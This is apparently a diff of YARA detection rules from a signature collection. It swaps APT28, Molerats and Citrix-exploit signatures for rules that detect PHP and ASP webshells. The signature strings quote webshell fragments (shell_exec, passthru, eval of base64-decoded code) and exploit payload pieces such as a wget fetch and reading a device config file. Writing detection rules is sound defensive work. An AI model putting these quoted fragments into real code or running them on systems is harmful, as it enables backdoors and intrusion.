-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2ec1e5db74b5abe1da0d454b5e901bd808a0be318235f25d713cfdc4aea8d6d7"
-		score = 60
+		old_rule_name = "WebShell_ironshell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5626-L5645"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
+		logic_hash = "1810071f261ad7390532b07ef24115726f236131aa8ffd29adbde9ebe5085e9d"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
-		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "coreshell.dll" fullword wide
-		$s1 = "Core Shell Runtime Service" fullword wide
-		$s2 = "\\chkdbg.log" wide
+		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
+		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
+		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
+		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
+		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
+		$s16 = "if($_POST['chars'] == \"9999\")" fullword
+		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
+		$s18 = "print shell_exec($command);" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <62KB and all of them
+		3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Sourface_Malware2 : FILE
+rule SIGNATURE_BASE_Webshell_Indexer_Asp_Php
 {
 	meta:
-		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8a9df742-82c1-56bb-ab70-6384403f70b5"
-		date = "2015-06-01"
+		id = "d6e17429-1b58-5a1b-846d-f5dbfd74cf3a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L52-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed0424e61ca3243241e32d4f744398d263d7e35de15d94e9c6f816dc7349c267"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5646-L5662"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
+		logic_hash = "c576925c95b5bd2549e8039a1fc6ac228bfab5ddee8c4e12264ea78e9828ba5c"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		super_rule = 1
-		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
-		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
-		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
-		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
-		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
-		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "coreshell.dll" fullword ascii
-		$s1 = "Applicate" fullword ascii
+		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
+		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
+		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
+		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
+		$s7 = "var message=\"SaNaLTeRoR - " fullword
+		$s8 = "nDexEr - Reader\"" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <550KB and all of them
+		3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Sourface_Malware3 : FILE
+rule SIGNATURE_BASE_Webshell_Toolaspshell
 {
 	meta:
-		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
+		description = "PHP Webshells Github Archive - file toolaspshell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b49843b9-3a54-5525-958e-ac545cc00bde"
-		date = "2015-06-01"
+		id = "016af030-4991-583c-aab5-a2933ae0eeec"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L74-L98"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "894fc2913cf1fa8aecb3052e762d4403124fcbdb2148edb23a9117c2f2b8eddc"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5663-L5676"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
+		logic_hash = "cb46d3170a9c144a22ef8c91b381495a471d2aa178a4a123eb9a1e32e1db7683"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		super_rule = 1
-		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
-		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
-		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
-		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
-		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
-		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
-		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
-		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
-		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
-		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "coreshell.dll" fullword wide
-		$s1 = "Core Shell Runtime Service" fullword wide
+		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
+		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
+		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <550KB and all of them
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Skinnyboy_Dropper : RUSSIA FILE
+rule SIGNATURE_BASE_Webshell_B374K_Mini_Shell_Php_Php
 {
 	meta:
-		description = "Detects APT28 SkinnyBoy droppers"
-		author = "Cluster25"
-		id = "ed0b2d2b-f820-57b5-9654-c24734d81996"
-		date = "2021-05-24"
+		description = "PHP Webshells Github Archive - file b374k-mini-shell-php.php.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d5b0dfa5-46b5-5323-a8e8-b119d8c2c8e5"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L103-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9e29ed985fac8701f72f0860fe101272c3c3342ef6857e30d32f5fea14822945"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5677-L5690"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "afb88635fbdd9ebe86b650cc220d3012a8c35143"
+		logic_hash = "553bd775d9662f9410d9ab946ccffe4b2ee92e367bcc6345fa595527653280cf"
 		score = 75
 		quality = 85
-		tags = "RUSSIA, FILE"
-		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "cmd /c DEL " ascii
-		$ = {8a 08 40 84 c9 75 f9}
-		$ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}
+		$s0 = "@error_reporting(0);" fullword
+		$s2 = "@eval(gzinflate(base64_decode($code)));" fullword
+		$s3 = "@set_time_limit(0); " fullword
 
 	condition:
-		( uint16(0)==0x5A4D and all of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Skinnyboy_Launcher : RUSSIA FILE
+rule SIGNATURE_BASE_Webshell_Sincap_1_0
 {
 	meta:
-		description = "Detects APT28 SkinnyBoy launchers"
-		author = "Cluster25"
-		id = "eaf4e8e5-cbec-5000-a2ff-31d1dac4c30f"
-		date = "2021-05-24"
+		description = "PHP Webshells Github Archive - file Sincap 1.0.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "38d39739-660f-596d-a297-1f0dfe530797"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L120-L141"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbb7a6e0114a9556a99ab3f5601664f430b650b2de0b44fe0178a99f21082e8d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5691-L5706"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9b72635ff1410fa40c4e15513ae3a496d54f971c"
+		logic_hash = "0cb8851285bd55b0b613ec4c46ab88142e2cbba7e527ad510b008cfb342af221"
 		score = 75
 		quality = 85
-		tags = "RUSSIA, FILE"
-		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
-      13 2C 6D 07 6F 86}
-		$l1 = "CryptGetHashParam" ascii
-		$l2 = "CryptCreateHash" ascii
-		$l3 = "FindNextFile" ascii
-		$l4 = "PathAddBackslashW" ascii
-		$l5 = "PathRemoveFileSpecW" ascii
-		$h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
-      56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
-		$h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}
+		$s4 = "</font></span><a href=\"mailto:shopen@aventgrup.net\">" fullword
+		$s5 = "<title>:: AventGrup ::.. - Sincap 1.0 | Session(Oturum) B" fullword
+		$s9 = "</span>Avrasya Veri ve NetWork Teknolojileri Geli" fullword
+		$s12 = "while (($ekinci=readdir ($sedat))){" fullword
+		$s19 = "$deger2= \"$ich[$tampon4]\";" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and ($sha or ( all of ($l*) and all of ($h*)))
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT28_Skinnyboy_Implanter : RUSSIA FILE
+rule SIGNATURE_BASE_Webshell_B374K_Php
 {
 	meta:
-		description = "Detects APT28 SkinnyBoy implanter"
-		author = "Cluster25"
-		id = "c44faf95-a64c-58f4-97d4-2fe17aefc813"
-		date = "2021-05-24"
+		description = "PHP Webshells Github Archive - file b374k.php.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "73eb7d8d-14bb-5bc2-90b2-90b6bd603bd1"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt28.yar#L143-L159"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f5b8944910297988ecf5aecf23d20c384cf141a3a0972baadfacc4969dc46e7c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5707-L5722"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "04c99efd187cf29dc4e5603c51be44170987bce2"
+		logic_hash = "f44ecdcf327cf417a90a91c8d23f6137b80c2006bea2ca2e214f2bfdf5793771"
 		score = 75
 		quality = 85
-		tags = "RUSSIA, FILE"
-		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D
-      85 [4] 6A ?? 50 66 [7] E8}
-		$heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?}
-		$xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 }
+		$s0 = "// encrypt your password to md5 here http://kerinci.net/?x=decode" fullword
+		$s6 = "// password (default is: b374k)"
+		$s8 = "//******************************************************************************"
+		$s9 = "// b374k 2.2" fullword
+		$s10 = "eval(\"?>\".gzinflate(base64_decode("
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and filesize <100KB and $xor_cycle and $heap_ops and $enc_string
+		3 of them
 }
-rule SIGNATURE_BASE_EXPL_Shitrix_Exploit_Code_Jan20_1 : FILE CVE_2019_19781
+rule SIGNATURE_BASE_Webshell_Simattacker___Vrsion_1_0_0___Priv8_4_My_Friend
 {
 	meta:
-		description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
+		description = "PHP Webshells Github Archive - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7fab3a9b-82a5-573a-b210-2ae65f1a7f24"
-		date = "2020-01-13"
+		id = "3e0bae7d-77a1-5439-bbe7-177bec23cea0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_shitrix.yar#L2-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00687b30235be5ef3c00432b5b96bbc325dee553e7c0cb565d6f389b1bce12de"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5723-L5740"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6454cc5ab73143d72cf0025a81bd1fe710351b44"
+		logic_hash = "63ebb0c673a5aee05d2d9d571ebf63942d826b5148a5f7ed587ba1efbb0dc923"
+		score = 75
 		quality = 85
-		tags = "FILE, CVE-2019-19781"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
-		$s02 = "tee /netscaler/portal/templates/" ascii
-		$s03 = "exec(\\'(wget -q -O- http://" ascii
-		$s04 = "cd /netscaler/portal; ls" ascii
-		$s05 = "cat /flash/nsconfig/ns.conf" ascii
-		$s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
-		$s07 = "template.new({'BLOCK'='print readpipe(" ascii
-		$s08 = "pwnpzi1337" fullword ascii
-		$s09 = "template.new({'BLOCK'="
-		$s10 = "template.new({'BLOCK'%3d"
-		$s11 = "my ($citrixmd, %FORM);"
-		$s12 = "(CMD, \"($citrixmd) 2>&1"
-		$b1 = "NSC_USER:" ascii nocase
-		$b2 = "NSC_NONCE:" ascii nocase
-		$b3 = "/../" ascii
+		$s4 = "&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br>" fullword
+		$s5 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
+		$s10 = "<a style=\"TEXT-DECORATION: none\" href=\"http://www.simorgh-ev.com\">" fullword
+		$s16 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
+		$s17 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
+		$s19 = "$Comments=$_POST['Comments'];" fullword
+		$s20 = "Victim Mail :<br><input type='text' name='to' ><br>" fullword
 
 	condition:
-		1 of ($s*) or all of ($b*)
+		3 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_1 : FILE
+rule SIGNATURE_BASE_Webshell_H4Ntu_Shell__Powered_By_Tsoi_
 {
 	meta:
-		description = "Detects Molerats sample - July 2017"
+		description = "PHP Webshells Github Archive - file h4ntu shell [powered by tsoi].php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b5277255-3ced-5dc5-9490-c5829a0c248b"
-		date = "2017-07-07"
+		id = "5a12a025-6497-545a-8da0-423ef448e374"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L11-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b7f00dfb83f5da46663d94f238b55e375743edbdb01701a78922b87c72c518a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5741-L5757"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cbca8cd000e705357e2a7e0cf8262678706f18f9"
+		logic_hash = "da5994e3278278920d3e4774850d9b05f0244d2af03d0de92d1466f6f87ca3eb"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
 
 	strings:
-		$s1 = "ezExODA0Y2U0LTkzMGEtNGIwOS1iZjcwLTlmMWE5NWQwZDcwZH0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{c00" wide
+		$s11 = "<title>h4ntu shell [powered by tsoi]</title>" fullword
+		$s13 = "$cmd = $_POST['cmd'];" fullword
+		$s16 = "$uname = posix_uname( );" fullword
+		$s17 = "if(!$whoami)$whoami=exec(\"whoami\");" fullword
+		$s18 = "echo \"<p><font size=2 face=Verdana><b>This Is The Server Information</b></font>"
+		$s20 = "ob_end_clean();" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		3 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_2 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Myshell
 {
 	meta:
-		description = "Detects Molerats sample - July 2017"
+		description = "PHP Webshells Github Archive - file MyShell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7ef02003-83d1-5ec7-952d-1e693375dd4b"
-		date = "2017-07-07"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L27-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35a517039474dcc5d503a48ca17e544166ee2ed44417ea5e7711093d3956f80c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5758-L5776"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "42e283c594c4d061f80a18f5ade0717d3fb2f76d"
+		logic_hash = "2c39ffecb44ce2f936ba3563c6086d8b2ed75aec3b57b45e2a1f5e7321ac9a3f"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7e122a882d625f4ccac019efb7bf1b1024b9e0919d205105e7e299fb1a20a326"
 
 	strings:
-		$s1 = "Folder.exe" fullword ascii
-		$s2 = "Notepad++.exe" fullword wide
-		$s3 = "RSJLRSJOMSJ" fullword ascii
+		$s3 = "<title>MyShell error - Access Denied</title>" fullword
+		$s4 = "$adminEmail = \"youremail@yourserver.com\";" fullword
+		$s5 = "//A workdir has been asked for - we chdir to that dir." fullword
+		$s6 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s13 = "#$autoErrorTrap Enable automatic error traping if command returns error." fullword
+		$s14 = "/* No work_dir - we chdir to $DOCUMENT_ROOT */" fullword
+		$s19 = "#every command you excecute." fullword
+		$s20 = "<form name=\"shell\" method=\"post\">" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		3 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_3 : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Pws
 {
 	meta:
-		description = "Detects Molerats sample - July 2017"
+		description = "PHP Webshells Github Archive - file pws.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e1a3323e-fe84-59e5-86d9-dca0c261e3c3"
-		date = "2017-07-07"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L44-L59"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4829905ede523fd9ed2cdf610f8fce4c0a5d993885e1897d1782ca70e96fa9a2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5777-L5793"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7a405f1c179a84ff8ac09a42177a2bcd8a1a481b"
+		logic_hash = "4b2eeb80200cc5dffa80cddc74f1902c0e8a5d2313d9a20d02eeb99ccb668ec0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "995eee4122802c2dc83bb619f8c53173a5a9c656ad8f43178223d78802445131"
-		hash2 = "fec657a19356753008b0f477083993aa5c36ebaf7276742cf84bfe614678746b"
 
-	strings:
-		$s1 = "ccleaner.exe" fullword wide
-		$s2 = "Folder.exe" fullword ascii
+	strings:
+		$s6 = "if ($_POST['cmd']){" fullword
+		$s7 = "$cmd = $_POST['cmd'];" fullword
+		$s10 = "echo \"FILE UPLOADED TO $dez\";" fullword
+		$s11 = "if (file_exists($uploaded)) {" fullword
+		$s12 = "copy($uploaded, $dez);" fullword
+		$s17 = "passthru($cmd);" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and all of them )
+		4 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_4 : FILE
+rule SIGNATURE_BASE_Webshell_Reader_Asp_Php
 {
 	meta:
-		description = "Detects Molerats sample - July 2017"
+		description = "PHP Webshells Github Archive - file reader.asp.php.txt"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cad0c6a2-d286-52fa-b9b8-793ab9ae048f"
-		date = "2017-07-07"
+		id = "80ec18e1-6f41-5188-b2d5-f4228c975fa1"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L61-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dec058ae52a860f4850d7b8024b96c5a9044fdcebadbc12b384f5a6dfae91634"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5794-L5808"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "70656f3495e2b3ad391a77d5208eec0fb9e2d931"
+		logic_hash = "6ffda38584b6cdec818af8e09c62bb4a46f40230ffd5c1a68993a91c37f67680"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "512a14130a7a8b5c2548aa488055051ab7e725106ddf2c705f6eb4cfa5dc795c"
 
 	strings:
-		$x1 = "get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'KeyName')" wide
-		$x2 = "O.Run C & chrw(34) & \"[System.IO.File]::" wide
-		$x3 = "HKCU\\SOFTWARE\\Microsoft\\\\KeyName\"" fullword wide
+		$s5 = "ster\" name=submit> </Font> &nbsp; &nbsp; &nbsp; <a href=mailto:mailbomb@hotmail"
+		$s12 = " HACKING " fullword
+		$s16 = "FONT-WEIGHT: bold; BACKGROUND: #ffffff url('images/cellpic1.gif'); TEXT-INDENT: "
+		$s20 = "PADDING-RIGHT: 8px; PADDING-LEFT: 8px; FONT-WEIGHT: bold; FONT-SIZE: 11px; BACKG"
 
 	condition:
-		( filesize <700KB and 1 of them )
+		3 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_5 : FILE
+rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_3
 {
 	meta:
-		description = "Detects Molerats sample - July 2017"
+		description = "PHP Webshells Github Archive - file Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c9dd4f4a-a980-5339-b238-9f53360b89ae"
-		date = "2017-07-07"
+		id = "349cf6ac-92b3-59f7-a6e4-c23e69b454c6"
+		date = "2023-12-05"
 		modified = "2023-12-05"
